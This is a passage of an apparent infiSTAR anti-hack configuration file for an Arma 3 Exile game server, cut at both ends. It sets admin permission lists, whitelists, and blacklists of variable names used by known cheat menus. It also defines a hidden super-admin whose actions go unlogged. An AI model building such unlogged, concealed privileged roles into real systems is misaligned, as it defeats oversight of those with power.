  6596. {"Vish","exile_assets\texture\flag\flag_mate_vish_co.paa"}
  6597. };
  6598.  
  6599.  
  6600. /* "startAsNormal": if you add admin UIDs in here as well, they will start as almost "normal" player instead of with admin menu and such. */
  6601. startAsNormal[] =
  6602. {
  6603. "UID1","UID2","UID3","..."
  6604. };
  6605.  
  6606. /* "hiddenSuperAdmin": These admins are seen as normal players by normal admins, their actions are not logged either (to keep an eye out on your admins) */
  6607. hiddenSuperAdmin[] =
  6608. {
  6609. "76561198165536859","UID2","UID3","..."
  6610. };
  6611.  
  6612. adminUIDandAccess[] =
  6613. {
  6614. {
  6615. {"76561198055441782","76561198078567168","76561198060069727","..."}, /* Admins with UIDs in this Array have their Access defined in the array below. */
  6616. {
  6617. "Teleport On Map Click","Teleport - Target To Me","Teleport - Me To Target","Teleport In Facing Direction (10m steps)",
  6618. "spectating","Delete Vehicle","FlyUp","ShowGear","Show Server Information",
  6619. "HealSelf","HealRepairNear","AdminLog","Freeze","UnFreeze","Restrain","UnRestrain",
  6620. "==== Loadouts ====","==== Base Deleter ====","==== WeatherLord ====","Items spawn menu",
  6621. "Remove Gear","Heal","Restore","Flip Vehicle","Move In My Vehicle","Move In Target Vehicle","Eject","Eject Crew",
  6622. "Player ESP","Player ESP (safezone style)","AI ESP","Dead ESP","Loot ESP",
  6623. "Vehicle Marker","Flag Marker (with radius)","DeadPlayer Marker",
  6624. "God Mode","God Mode (no stats change)","Vehicle God Mode","Lower Terrain","Vehboost","UnlimAmmo","noRecoil","FastFire","Stealth / Invisible",
  6625. "Disable Announces","Mass Message","Change Time","Spawn Support-Boxes","Create Billboard","Change ViewDistance",
  6626. "Spawn Ammo","Login as Arma Admin","BIS FreeRoam Cam (works with ESP)","FreeRoam Cam (does not work with ESP)",
  6627. "Request Steam Name","showinfo",
  6628. "UnlockLockVehicle","Copy Worldspace(coords) to RPT & Chat",
  6629.  
  6630. "Spawn Vehicles","Spawn Persistent Vehicles",
  6631.  
  6632. "Kill","Explode","Force Disconnect",
  6633. "Kick (Silent)","Kick (Announce)","Ban (Silent)","Ban (Announce)","TempBan (Silent)","TempBan (Announce)",
  6634.  
  6635. "AdminConsole",
  6636. "DebugConsole",
  6637. "Execute code on server (DebugConsole)","Execute code global (DebugConsole)","Execute code local (DebugConsole)",
  6638. "Lock Server (DebugConsole)","UnLock Server (DebugConsole)","Ban (DebugConsole)","Kick (DebugConsole)",
  6639.  
  6640. "Change Money on Player","Change Money on Bank","Change Respect",
  6641.  
  6642. "MapIcons",
  6643. "MapIcons: Buildings","MapIcons: Flags",
  6644. "MapIcons: Player","MapIcons: DeadPlayer","MapIcons: Vehicles",
  6645. "MapIcons: Vehicle Types","MapIcons: Vehicle lockstate","MapIcons: DeadVehicles",
  6646. "MapIcons: AI",
  6647. "Arsenal", // Adds Arsenal to the mousewheel actions if you press "," on the Numpad!
  6648. "Unconscious","Remove Unconscious",
  6649. "Light" // Zeus like Lighting from the Air strikes down at selected player / target / location - use ctrl+1 or the menu to use it!
  6650. }
  6651. },
  6652. {
  6653. {"UID1","UID2","UID3","..."}, /* Admins with UIDs in this Array have their Access defined in the array below. */
  6654. {
  6655. "Teleport On Map Click","Teleport - Target To Me","Teleport - Me To Target","Teleport In Facing Direction (10m steps)",
  6656. "spectating","Delete Vehicle","FlyUp","ShowGear","Show Server Information",
  6657. "HealSelf","HealRepairNear","AdminLog","Freeze","UnFreeze","Restrain","UnRestrain",
  6658. "==== Loadouts ====","==== Base Deleter ====","==== WeatherLord ====","Items spawn menu",
  6659. "Remove Gear","Heal","Restore","Flip Vehicle","Move In My Vehicle","Move In Target Vehicle","Eject","Eject Crew",
  6660. "Player ESP","Player ESP (safezone style)","AI ESP","Dead ESP","Loot ESP",
  6661. "Vehicle Marker","Flag Marker (with radius)","DeadPlayer Marker",
  6662. "God Mode","God Mode (no stats change)","Vehicle God Mode","Lower Terrain","Vehboost","UnlimAmmo","noRecoil","FastFire","Stealth / Invisible",
  6663. "Disable Announces","Mass Message","Change Time","Spawn Support-Boxes","Create Billboard","Change ViewDistance",
  6664. "Spawn Ammo","Login as Arma Admin","BIS FreeRoam Cam (works with ESP)","FreeRoam Cam (does not work with ESP)",
  6665. "Request Steam Name","showinfo",
  6666. "UnlockLockVehicle","Copy Worldspace(coords) to RPT & Chat",
  6667.  
  6668. "Spawn Vehicles","Spawn Persistent Vehicles",
  6669.  
  6670. "Kill","Explode","Force Disconnect",
  6671. "Kick (Silent)","Kick (Announce)","Ban (Silent)","Ban (Announce)","TempBan (Silent)","TempBan (Announce)",
  6672.  
  6673. "AdminConsole",
  6674. "DebugConsole",
  6675. "Execute code on server (DebugConsole)","Execute code global (DebugConsole)","Execute code local (DebugConsole)",
  6676. "Lock Server (DebugConsole)","UnLock Server (DebugConsole)","Ban (DebugConsole)","Kick (DebugConsole)",
  6677.  
  6678. "Change Money on Player","Change Money on Bank","Change Respect",
  6679.  
  6680. "MapIcons",
  6681. "MapIcons: Buildings","MapIcons: Flags",
  6682. "MapIcons: Player","MapIcons: DeadPlayer","MapIcons: Vehicles",
  6683. "MapIcons: Vehicle Types","MapIcons: Vehicle lockstate","MapIcons: DeadVehicles",
  6684. "MapIcons: AI",
  6685. "Arsenal", // Adds Arsenal to the mousewheel actions if you press "," on the Numpad!
  6686. "Unconscious","Remove Unconscious",
  6687. "Light" // Zeus like Lighting from the Air strikes down at selected player / target / location - use ctrl+1 or the menu to use it!
  6688. }
  6689. },
  6690. {
  6691. {"UID1","UID2","UID3","..."}, /* Admins with UIDs in this Array have their Access defined in the array below. */
  6692. {
  6693. "Teleport On Map Click","Teleport - Target To Me","Teleport - Me To Target","Teleport In Facing Direction (10m steps)",
  6694. "spectating","Delete Vehicle","FlyUp","ShowGear","Show Server Information",
  6695. "HealSelf","HealRepairNear","AdminLog","Freeze","UnFreeze","Restrain","UnRestrain",
  6696. "==== Loadouts ====","==== Base Deleter ====","==== WeatherLord ====","Items spawn menu",
  6697. "Remove Gear","Heal","Restore","Flip Vehicle","Move In My Vehicle","Move In Target Vehicle","Eject","Eject Crew",
  6698. "Player ESP","Player ESP (safezone style)","AI ESP","Dead ESP","Loot ESP",
  6699. "Vehicle Marker","Flag Marker (with radius)","DeadPlayer Marker",
  6700. "God Mode","God Mode (no stats change)","Vehicle God Mode","Lower Terrain","Vehboost","UnlimAmmo","noRecoil","FastFire","Stealth / Invisible",
  6701. "Disable Announces","Mass Message","Change Time","Spawn Support-Boxes","Create Billboard","Change ViewDistance",
  6702. "Spawn Ammo","Login as Arma Admin","BIS FreeRoam Cam (works with ESP)","FreeRoam Cam (does not work with ESP)",
  6703. "Request Steam Name","showinfo",
  6704. "UnlockLockVehicle","Copy Worldspace(coords) to RPT & Chat",
  6705.  
  6706. "Spawn Vehicles","Spawn Persistent Vehicles",
  6707.  
  6708. "Kill","Explode","Force Disconnect",
  6709. "Kick (Silent)","Kick (Announce)","Ban (Silent)","Ban (Announce)","TempBan (Silent)","TempBan (Announce)",
  6710.  
  6711. "AdminConsole",
  6712. "DebugConsole",
  6713. "Execute code on server (DebugConsole)","Execute code global (DebugConsole)","Execute code local (DebugConsole)",
  6714. "Lock Server (DebugConsole)","UnLock Server (DebugConsole)","Ban (DebugConsole)","Kick (DebugConsole)",
  6715.  
  6716. "Change Money on Player","Change Money on Bank","Change Respect",
  6717.  
  6718. "MapIcons",
  6719. "MapIcons: Buildings","MapIcons: Flags",
  6720. "MapIcons: Player","MapIcons: DeadPlayer","MapIcons: Vehicles",
  6721. "MapIcons: Vehicle Types","MapIcons: Vehicle lockstate","MapIcons: DeadVehicles",
  6722. "MapIcons: AI",
  6723. "Arsenal", // Adds Arsenal to the mousewheel actions if you press "," on the Numpad!
  6724. "Unconscious","Remove Unconscious",
  6725. "Light" // Zeus like Lighting from the Air strikes down at selected player / target / location - use ctrl+1 or the menu to use it!
  6726. }
  6727. }
  6728. };
  6729.  
  6730. /*
  6731. Use Database WhiteList?
  6732. if "USE_DATABASE_WHITELIST = true;", UIDs that are not whitelisted in your exile server database, will be kicked on connect.
  6733.  
  6734. To use this, you need to use what I've added to "infiSTAR.de_Exile\SERVER_ARMA3_FOLDER\db_related_changes"
  6735. */
  6736. USE_DATABASE_WHITELIST = false;
  6737.  
  6738.  
  6739.  
  6740. /*
  6741. Use UID WhiteList?
  6742. if "USE_UID_WHITELIST = true;", UIDs that are not in "UID_WHITELIST" array, will be kicked on connect.
  6743. This even counts for Admins!
  6744. */
  6745. USE_UID_WHITELIST = false;
  6746. UID_WHITELIST[] =
  6747. {
  6748. "UID1","UID2","UID3","..."
  6749. };
  6750.  
  6751. ExileDevFriendlyMode = true; /* adds Exile Devs to your AdminList - makes it easier for them to debug their mod live */
  6752.  
  6753.  
  6754. /* What ESCAPE Menu shows */
  6755. ESCMNUTOP = "AntiHack & AdminTools";
  6756. ESCMNUBOT = "by infiSTAR.de";
  6757. BRIEFING_MSG = false; /* use mission briefing message: if "BRIEFING_MSG = false;" then the message will be replaced by infiSTAR */
  6758. HTML_LOAD_URL = ""; /* HTML_LOAD_URL = ""; == disabled and if you set a url it will be shown in ESCAPE menu. HTML in Arma/this is limited. Try it :) example: "http://goo.gl/gb0o7b" */
  6759. ENABLE_PRIVATE_CHAT_MENU = true; /* players can open it by typing !chat in chat or by custom controls -> "Use Action 3" */
  6760. PRIVATE_CHAT_MENU_8GNETWORK = false; /* if this is true - players will only be able to use private chat if they enable 8GNetwork in their xm8 */
  6761.  
  6762. /* shows RESTART IN X MINS */
  6763. USE_RESTART_TIMER = true; /* show time left to next restart */
  6764. RESTART_TIME_IN_M = 180; /* restart time in minutes (default: 180min == 3 hours) */
  6765. SHOW_TIMER_IN_MIN[] = {1,2,3,5,10}; /* minutes before restart, when message is shown */
  6766. USE_RESTART_TIMER_SHUTDOWN = true; /* #shutdown the server after RESTART_TIME_IN_M minutes */
  6767.  
  6768.  
  6769. /* Allow Player to vote Day/Night by typing vote day / vote night in Chat*/
  6770. DayNightVote = true;
  6771. MRV = 0.3; /* if "DayNightVote = true;" - Minimum votes required. Percentage of players needed to pass the vote. */
  6772. MVP = 0.51; /* if "DayNightVote = true;" - Minimum vote percentage. A setting that dictates the minimum vote percentage that needs to be reached for the vote to pass. */
  6773. VCT = 300; /* if "DayNightVote = true;" - Time (in seconds) to wait until nex vote is possible. */
  6774.  
  6775.  
  6776. /* The following 4 options can be disabled by putting the value to -1. For example "TGV = -1;" */
  6777. /* Terrain Grid Value */ TGV = 40; /* 50, 25, 12.5 */ /* if set to 50 grass will be very low for better client FPS.. default is 25 ~35 is good performance and grass :) */
  6778. /* ViewDistance Value */ VDV = 1000;
  6779. /* ObjectViewDistance */ VOV = 800;
  6780. /* ShadowViewDistance */ SVD = 50;
  6781.  
  6782.  
  6783.  
  6784. /****************************************************************************************************/
  6785. /***************************FIXES DUE TO ARMA BEING BROKEN - BELOW***********************************/
  6786. /****************************************************************************************************/
  6787. /*
  6788. *readded new old uniform and vest check since some people asked for it.
  6789. http://www.exilemod.com/topic/14179-miss-uniform_and_vest_check/
  6790. the game is still broken and sometimes you can see people naked when they are not.
  6791. I did not add the old check back in, I made a new one making use of new functions :)
  6792. */
  6793. fix_uniform_and_vest = false;
  6794.  
  6795. /*
  6796. So far only checking for duped backpacks and not taking any actions besides logging. Need to test more before It will start to remove duped items.
  6797. */
  6798. experimental_dupe_check = false;
  6799. /****************************************************************************************************/
  6800. /***************************FIXES DUE TO ARMA BEING BROKEN - ABOVE***********************************/
  6801. /****************************************************************************************************/
  6802.  
  6803. /*
  6804. re-assigning "InventoryOpened" eventhandler to stop glitch open a locked safe
  6805. */
  6806. stopSafeGlitchAndCorpseDupe = true;
  6807.  
  6808.  
  6809. /* ********************************************************************************* */
  6810. /* many checks should be set to true instead of false. */
  6811. /* ********************************************************************************* */
  6812. LVC = true; /* Local Vehicle Check - ALWAYS HAVE THIS TRUE! */
  6813. URC = false; /* Check unitRecoilCoefficient and reset default unitRecoilCoefficient */
  6814. CAP = false; /* Check Actions Plr - "Actions: xxx/xxx possible scroll menu hack (or you added custom actions..)" */
  6815.  
  6816.  
  6817. KCM = false; /* Just close ALL CommandingMenus */
  6818. CMC = false; /* Check for CommandingMenus that are not in the allowedCommandingMenus array */
  6819. allowedCommandingMenus[] = {"#user:example","#user:example2"};
  6820.  
  6821.  
  6822. check_Notifications = false; /* checks if BIS_fnc_showNotification was used, as it is used with many hacks - some custom addons however use them too. */
  6823. disconnect_dupe_check = false; /* checks if player tries to dupe using the "disconnect trick" -> sends a ping to the server whenever a player opens the escape menu */
  6824. wall_look = false; /* checks if a players tries to look through a wall (if player is allowed to build in that territory, it will not be logged.) */
  6825. wall_glitch_object = true; /* checks if a players tries to glitch through a wall (if player is allowed to build in that territory, it will not be logged.) */
  6826. wall_glitch_vehicle = true; /* stops players from glitching into bases using "eject" or "getout" of a vehicle.. */
  6827. check_doors_n_gates = false; /* check if a door is locked but still being opened */
  6828. checkHiddenObjects = true; /* checks if there is hidden objects close to the player (hidden objects could be walked through..) */
  6829. attach_to_check = false; /* logs and detaches attached vehicles that are close.. basically completely disallow attaching of vehicles! */
  6830. slingload_check = true; /* forbid sling loading / rope attaching a vehicle with a crew */
  6831.  
  6832. checkFilePatchingEnabled = true; /* checks if filepatching is enabled on the client (if it is, the client could inject any script based hack easily) */
  6833.  
  6834.  
  6835. /* Check for Map Menu & Map Sub-Menu */
  6836. CMM = true;
  6837. maxMapMenuEntries = 6; /* "Map Menu has been changed x entries found - Texts: y" incase you want to add some briefing to your map menu. Only matters if you have CMM = true; */
  6838.  
  6839. /* if steam api.steampowered.com is working, this might be a nice feature */
  6840. check_steam_ban = false; /* will announce and log steambanned players - using GetPlayerBans v1 */
  6841. ban_for_steam_ban = false; /* if "check_steam_ban = true;" then steambanned players will get banned from your Arma server! */
  6842.  
  6843.  
  6844.  
  6845. /*
  6846. Anti Teleport
  6847. UAT = false; To disable Anti Teleport
  6848. Arrays below show position & radius where Teleporting is allowed.
  6849. Mainly for the Traders (because when you purchase a vehicle, it teleports you into the vehicle)
  6850.  
  6851. You can white-list "Teleport Zones" by adding them like below:
  6852. class allowTP {
  6853. custom[] = {
  6854. {{0,0,0},1},
  6855. {{1,1,1},1},
  6856. {{2,2,2},1}
  6857. };
  6858. };
  6859. Trading zones are white-listed by default.
  6860. */
  6861. UAT = true;
  6862. class allowTP {
  6863. custom[] = {};
  6864. };
  6865.  
  6866.  
  6867.  
  6868. /* Check Drawing on the Map (global channel) */
  6869. CHECK_DRAWING = true; /* logs & deletes global drawing */
  6870.  
  6871.  
  6872. /* Check Global Markers */
  6873. CGM = false; /* you may need to disable this check for A.I. Missions - or whitelist the used Markers in the aLocalM Array beneath */
  6874.  
  6875. /* Check Local Markers */
  6876. CLM = false; /* false if you do not want LocalMarker to be checked. */
  6877.  
  6878. /* Use aLocalM array */
  6879. UMW = false; /* use allowed marker array from below (for example AltisLife uses house_ and others in there) or A.I. Missions */
  6880. /* aLocalM: if "CLM" && UMW - this array of names will be allowed */
  6881. aLocalM[] = {"MissionMarker"};
  6882.  
  6883.  
  6884. /*
  6885. Not allowed Chat words on server.
  6886. Example:
  6887. badChat[] = {"blue"};
  6888. will log if somebody writes "blue goat" or "blues" in the chat (not case sensitive).
  6889. */
  6890. badChat[] = {};
  6891.  
  6892.  
  6893. /* Not allowed Names on server. Example: badNamesFull[] = {"THE"}; would kick all players that are named "THE", it would NOT kick players named "THE CAR" (not case sensitive) */
  6894. badNamesFull[] = {"grim"};
  6895.  
  6896. /* Not allowed Names on server. Example: badNamesPartial[] = {"THE"}; would kick all players with names like "the car" as it includes "THE" (not case sensitive) */
  6897. badNamesPartial[] = {"admin","thirtysix","adolf","le hippo"};
  6898.  
  6899.  
  6900. /* Not allowed Group Names on server. Example: badGroupNames[] = {"THE"}; would rename all groups with names like "the car" as it includes "THE" (not case sensitive) */
  6901. badGroupNames[] = {"admin"};
  6902.  
  6903.  
  6904.  
  6905. /* badIDDsToKick will be checked before badIDDsToClose, badIDDsToClose will be checked before allowedIDDs */
  6906. /* badIDDsToKick: Forbidden Idds that will get you Kicked by the AH */
  6907. badIDDsToKick[] = {-1337,133,167,1340,1341,1342,1343,1344,1345,1346,1347};
  6908.  
  6909. /* badIDDsToClose: Forbidden Idds that will get closed by the AH */
  6910. badIDDsToClose[] =
  6911. {
  6912. 2,3,7,17,19,25,26,27,28,29,30,31,32,37,40,41,43,44,45,51,52,53,56,74,85,
  6913. 106,126,127,132,146,147,150,151,152,153,154,155,159,162,164,262,
  6914. 314,632,1320,2121,148,163,129,169,157,69,156,165,166,167,312,1321,2727
  6915. };
  6916.  
  6917. /* Use IDD White-List ? */ UDW = true;
  6918. /* allowedIDDs: Insert IDDs here to prevent them from being closed! */
  6919. allowedIDDs[] =
  6920. {
  6921. /* default idds */
  6922. 0,4,5,6,8,12,18,24,49,54,55,70,160,174,177,999,131,63,602,301,
  6923.  
  6924. /* exile idds */
  6925. 24001,24002,20023,24005,24004,24010,24025,20021,20017,24012,24027,
  6926. 20019,20016,24007,20024,20018,24008,24011,24015,24000,24006,24014,
  6927. 20020,24026,
  6928.  
  6929. 24033,24030,24029,24028,24031,24034,
  6930.  
  6931. 4004,21000, // Bounty system and MarXet
  6932. 8457, // http://www.exilemod.com/topic/9040-xm8-apps/
  6933. 65431, // r3f menu fix
  6934. 6666, // Paintshop
  6935. 0711, // Advanced Banking
  6936. 0720, // Virtual Garage
  6937. 5501,5502,5503,5504,5505,5506,5507, // BRAma Cookbook
  6938. -1339,-1340, // custom infiSTAR dialogs (some editor & a private chat menu)
  6939.  
  6940. /* main idd - never delete it */
  6941. 46
  6942. };
  6943.  
  6944.  
  6945. /*
  6946. it is highly recommended to have this check turned on (useBlacklistedVariableCheck = true;)
  6947. shows "BadVariable in xxxxxxxx " in the logs.
  6948. */
  6949. useBlacklistedVariableCheck = true;
  6950. blacklistedVariables[] =
  6951. {
  6952. "BIS_DEBUG_CAM",
  6953. "arsenalOpened","BIS_fnc_arsenal_fullArsenal","babecore_escM_mousepos",
  6954. "BIS_fnc_dbg_reminder_value","BIS_fnc_dbg_reminder","BIS_MENU_GroupCommunication","BIS_fnc_addCommMenuItem_menu",
  6955. "rscspectator","rscspectator_hints","rscspectator_display","rscspectator_playericon",
  6956. "rscspectator_view","rscspectator_map","rscspectator_vision","rscspectator_keys",
  6957. "rscspectator_interface","bis_fnc_camera_target",
  6958. "time","serverTime","myplayeruid","hhahaaaaar","CharlieSheenkeybinds","KickOFF","yolo","runonce","notakeybind","action1","Supa_Licenses","autokick","wallaisseikun","MainMenu",
  6959. "GEFClose","GEFWhite","GEFRed","GEFGreen","GEFCyan","FirstHint","new_queued","fn_Exec","FND_fnc_select","fnx3","ANTIHACKKICK","tele","dmap","GOLDENS_GLOBAL_SHIT_YEAH","GLASS911_Run",
  6960. "gearDialog_create","lystoKeypress","ThirtySix","LY_SwaggerLikeUs","Jkeyszz","n2","boxofmagic","MainScripts","DMC_fnc_4danews","INFISTARBYPASS","EXEC_TEXT","vehicle_dblclick","init_main",
  6961. "ESP_Count","Nute_Dat_Bomber","s_cash100k","XposPlayer","ly_re_onetime","SKAR_checkA","MainScriptsV4","ViewDistance","check_load","already_load","meins","f1","Dummy","Plane_Jump",
  6962. "c_player","MouseClickEH","distp","nec2","Menu_I_Run_Color_LP","GLASSv1nce_BindHandler","thecar","FastAnimes","GetinPassenger","iaimon","DMC_Re_onetime","func_execOnServer","fnc_serverKickNice",
  6963. "Kick_Admins","DASMOKEON","hovering","r_kelly_be_flying","VinceLOL_ALTISLIFE","life_fnc_byassSkaroAH","AH_fnc_MP","jayRE","fn_newsbanner","Hack_News","TrollFuncs",
  6964. "Fanatic_InfiPass","keybindings_xxx","AndysClosed","UserFuncs","AltisFuncs","RemExe","BB_nofatigue","bis_fnc_diagkey_var_code","First_PAGE","Get_in_D","i_t_s__m_e_o","smissles","Whippy_ESP",
  6965. "TargetFuncs2","life_fnc_antiFreeeeze","LY_keyForward","TY_re_onetime","life_fnc_XaAxAA","mein1","GodDamnVehiclesXD","Mystic_FNC_ESP_distance","Esp_Id_setter","DummyMen","whipbut","UserFuncs",
  6966. "KrohdoFreedom","selectedPlayer","Lmenu1","ggplayer","throx_menu_item","lvl1","Init_Menu_Slew","D_B_R_T_Y_Slew","V6_GEF","xasfjisisafudmmyx","kekse","UPDATED_RE_36","first","second",
  6967. "SNI_PRZ_ZZZ_TargetPlayer","healit","O_fnc_ArmA","MLRN_EXEC","running_threads","catchemall123","killtarget","GMToggle","t1","FUCK_ME_keyp"
  6968. };
  6969.  
  6970.  
  6971.  
  6972. UVC_adminspawn = false; /* use vehicle check(s) on vehicles spawned by infiSTAR.de admin? */
  6973. /*
  6974. Use vehicle white list? (everything not on white-list will be flagged as BadVehicle and deleted!)
  6975. "EXILE" vehicles are white-listed by default!
  6976. */
  6977. VehicleWhiteList_check = false;
  6978. VehicleWhiteList[] =
  6979. {
  6980. "B_Parachute","B_Parachute_02_F","O_Parachute_02_F","Steerable_Parachute_F",
  6981. "I_UAV_01_F","B_HMG_01_high_F","O_HMG_01_F","B_Heli_Transport_01_F","B_Heli_Transport_01_camo_F","O_MRAP_02_gmg_F","O_static_AT_F","Land_Camping_Light_F"
  6982. };
  6983.  
  6984. /*
  6985. Use forbidden vehicle check? (everything in the ForbiddenVehicles will be flagged as BadVehicle and deleted (even when it is on the white-list)!)
  6986. */
  6987. ForbiddenVehicles_check = false;
  6988. ForbiddenVehicles[] =
  6989. {
  6990. "B_Heli_Light_01_armed_F","B_Heli_Attack_01_F","B_Plane_CAS_01_F","B_APC_Tracked_01_rcws_F","B_APC_Tracked_01_CRV_F","B_APC_Tracked_01_AA_F","B_MBT_01_cannon_F",
  6991. "B_MBT_01_arty_F","B_MBT_01_mlrs_F","B_Boat_Armed_01_minigun_F","B_UAV_02_F","B_UAV_02_CAS_F","B_MRAP_01_gmg_F","B_MRAP_01_hmg_F","B_G_Offroad_01_armed_F",
  6992. "B_APC_Wheeled_01_cannon_F","B_MBT_01_TUSK_F","O_Heli_Light_02_F","O_Heli_Attack_02_F","O_Heli_Attack_02_black_F","O_Plane_CAS_02_F","O_APC_Tracked_02_cannon_F",
  6993. "O_APC_Tracked_02_AA_F","O_MBT_02_cannon_F","O_MBT_02_arty_F","O_Boat_Armed_01_hmg_F","O_UAV_02_CAS_F","O_UAV_02_F","O_MRAP_02_hmg_F","O_G_Offroad_01_armed_F",
  6994. "O_APC_Wheeled_02_rcws_F","O_UGV_01_rcws_F","B_UGV_01_rcws_F","I_UGV_01_rcws_F","I_APC_Wheeled_03_cannon_F","I_MRAP_03_gmg_F","I_MRAP_03_hmg_F","I_G_Offroad_01_armed_F",
  6995. "I_UAV_02_CAS_F","I_UAV_02_F","I_Boat_Armed_01_minigun_F","I_MBT_03_cannon_F","I_APC_tracked_03_cannon_F","I_Plane_Fighter_03_AA_F","I_Plane_Fighter_03_CAS_F","I_Heli_light_03_F",
  6996. "B_HMG_01_F","I_HMG_01_F","O_HMG_01_high_F","I_HMG_01_high_F","B_HMG_01_A_F","O_HMG_01_A_F","I_HMG_01_A_F","B_Mortar_01_F","O_Mortar_01_F","I_Mortar_01_F","I_G_Mortar_01_F",
  6997. "B_G_Mortar_01_F","O_G_Mortar_01_F","B_GMG_01_F","O_GMG_01_F","I_GMG_01_F","O_GMG_01_high_F","I_GMG_01_high_F","B_GMG_01_A_F","O_GMG_01_A_F","I_GMG_01_A_F",
  6998. "B_static_AA_F","O_static_AA_F","I_static_AA_F","B_static_AT_F","I_static_AT_F","B_GMG_01_high_F"
  6999. };
  7000.  
  7001. /*
  7002. If you use VehicleWhiteList_check or ForbiddenVehicles_check then the vehicle check automatically checks for locally created vehicles.
  7003. Locally created vehicles are these that get created by a player and not the server. E.g. when a player assambles a UAV or a static weapon!
  7004. Also some public posted scripts for example the "bike script" are creating the vehicle (the bike) locally (so the type of the vehicle needs to get added to the array below!).
  7005. */
  7006. LocalWhitelist[] =
  7007. {
  7008. "O_HMG_01_weapon_F","O_HMG_01_F","O_HMG_01_support_F","I_UavTerminal","I_UAV_01_backpack_F",
  7009. "Exile_Bike_OldBike"
  7010. };
  7011.  
  7012.  
  7013.  
  7014.  
  7015. UFI = false; /* Use "ForbiddenItems"/Item Check(s) */
  7016. UIW = false; /* if "UIW = true;" then it checks if the items the individual player has are in "ItemWhiteList" */
  7017. ItemWhiteList[] =
  7018. {
  7019. "AllowThisItem1","AllowThisItem2"
  7020. };
  7021. ForbiddenItems[] =
  7022. {
  7023. "autocannon_Base_F","autocannon_30mm","autocannon_35mm","autocannon_40mm_CTWS","autocannon_30mm_CTWS","Bomb_04_Plane_CAS_01_F",
  7024. "Bomb_03_Plane_CAS_02_F","cannon_105mm","cannon_120mm","cannon_120mm_long","cannon_125mm","Cannon_30mm_Plane_CAS_02_F","gatling_20mm",
  7025. "gatling_25mm","gatling_30mm","Gatling_30mm_Plane_CAS_01_F","GBU12BombLauncher","GMG_20mm","GMG_40mm","GMG_UGV_40mm","HMG_127_MBT",
  7026. "HMG_127","HMG_127_APC","HMG_01","HMG_M2","HMG_NSVT","LMG_Minigun2","LMG_RCWS","LMG_M200","LMG_Minigun","LMG_Minigun_heli","LMG_coax",
  7027. "Missile_AGM_02_Plane_CAS_01_F","Missile_AA_04_Plane_CAS_01_F","Missile_AA_03_Plane_CAS_02_F","Missile_AGM_01_Plane_CAS_02_F","missiles_DAGR",
  7028. "missiles_DAR","missiles_ASRAAM","missiles_SCALPEL","missiles_titan","missiles_titan_static","missiles_Zephyr","Mk82BombLauncher","mortar_82mm",
  7029. "mortar_155mm_AMOS","rockets_Skyfire","rockets_230mm_GAT","Rocket_04_HE_Plane_CAS_01_F","Rocket_04_AP_Plane_CAS_01_F","Rocket_03_HE_Plane_CAS_02_F",
  7030. "Rocket_03_AP_Plane_CAS_02_F","Twin_Cannon_20mm"
  7031. };
  7032.  
  7033.  
  7034.  
  7035. /*
  7036. custom Box content:
  7037. just an item like it is in the example with "ItemMap" will put the item once in the box.
  7038. if an array is used like the {"ItemGPS",5} example, well I assume you could guess what it will do.
  7039.  
  7040. You can just define as many as you want.
  7041. {
  7042. "BOX NAME", // function name in the admin menu
  7043. {
  7044. "Item1","Item2", // one per just item in a string
  7045. {"Item1",5},{"Item2",10} // second entry in each array defiens how many of items of the first entry are wanted.
  7046. }
  7047. }
  7048.  
  7049. The last closing bracket in an array can not have a "," afterwards. So make sure to have no syntax errors here.
  7050. */
  7051. allSupportBoxes[] =
  7052. {
  7053. {
  7054. "Support-Box1",
  7055. {
  7056. "Exile_Item_Flag","Exile_Item_CookingPot",
  7057. {"Exile_Item_Codelock",5},{"Exile_Item_DuctTape",10},{"Exile_Item_InstaDoc",10},
  7058. {"Exile_Item_Energydrink",10},{"Exile_Item_ExtensionCord",5},{"Exile_Item_FloodLightKit",5},
  7059. {"Exile_Item_FortificationUpgrade",5},{"Exile_Item_FuelCanisterFull",5},{"Exile_Item_GloriousKnakworst_Cooked",10},
  7060. {"Exile_Item_LightBulb",5},{"Exile_Item_Matches",5},{"Exile_Item_MetalBoard",5},
  7061. {"Exile_Item_MetalPole",5},{"Exile_Item_PlasticBottleFreshWater",10},{"Exile_Item_PortableGeneratorKit",5},
  7062. {"Exile_Item_Rope",15},{"Exile_Item_SafeKit",15},{"Exile_Magazine_Battery",15}
  7063. }
  7064. },
  7065. {
  7066. "Support-Box2",
  7067. {
  7068. "Exile_Item_Flag",
  7069. {"Exile_Item_WoodDoorKit",15},{"Exile_Item_WoodDoorwayKit",15},{"Exile_Item_WoodDrawBridgeKit",15},
  7070. {"Exile_Item_WoodFloorKit",15},{"Exile_Item_WoodFloorPortKit",15},{"Exile_Item_WoodGateKit",15},
  7071. {"Exile_Item_WoodLog",15},{"Exile_Item_WoodPlank",15},{"Exile_Item_WoodStairsKit",15},
  7072. {"Exile_Item_WoodSupportKit",15},{"Exile_Item_WoodWallHalfKit",15},{"Exile_Item_WoodWallKit",15},
  7073. {"Exile_Item_WoodWindowKit",15},{"Exile_Item_WorkBenchKit",15}
  7074. }
  7075. },
  7076. {
  7077. "Support-Box3",
  7078. {
  7079. {"Exile_Item_Flag",5},{"Exile_Item_WoodDoorKit",15},{"Exile_Item_WoodWallKit",15},
  7080. {"Exile_Item_WoodWindowKit",15},{"Exile_Item_WoodFloorKit",15},{"Exile_Item_SafeKit",5}
  7081. }
  7082. },
  7083. {
  7084. "Support-Box4",
  7085. {
  7086. "ItemMap",{"ItemGPS",5},"ItemWatch"
  7087. }
  7088. }
  7089. };
  7090.  
  7091.  
  7092. /* ***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER */
  7093. /*
  7094. THE KYLE MODE - by enabling it (setting it to true), you disable 99% of the AntiHack features.
  7095. (DEFAULT VALUE: FALSE).
  7096. This is only for those, that want to use the Admin Menu only!
  7097. */
  7098. KYLE_MODE = false;
  7099. };/*
  7100. Author: Chris(tian) "infiSTAR" Lorenzen
  7101. Contact: [email protected] // www.infiSTAR.de
  7102.  
  7103. Copyright infiSTAR - 2011 - 2016. All rights reserved.
  7104. Christian (Chris) L. ([email protected]) Developer of infiSTAR
  7105.  
  7106. Description:
  7107. Arma AntiHack & AdminTools - infiSTAR.de
  7108. */
  7109. comment 'Antihack & AdminTools - Christian Lorenzen - www.infiSTAR.de';
  7110. VERSION_DATE_IS = '05-Jul-2016 23-52-40#2666';
  7111. infiSTAR_customFunctions = [];
  7112. _configClasses = "true" configClasses (configfile >> "CfgCustomFunctions");
  7113. {
  7114. _configProperties = configProperties [configfile >> "CfgCustomFunctions" >> configName _x];
  7115. _type = getNumber (_configProperties select 0);
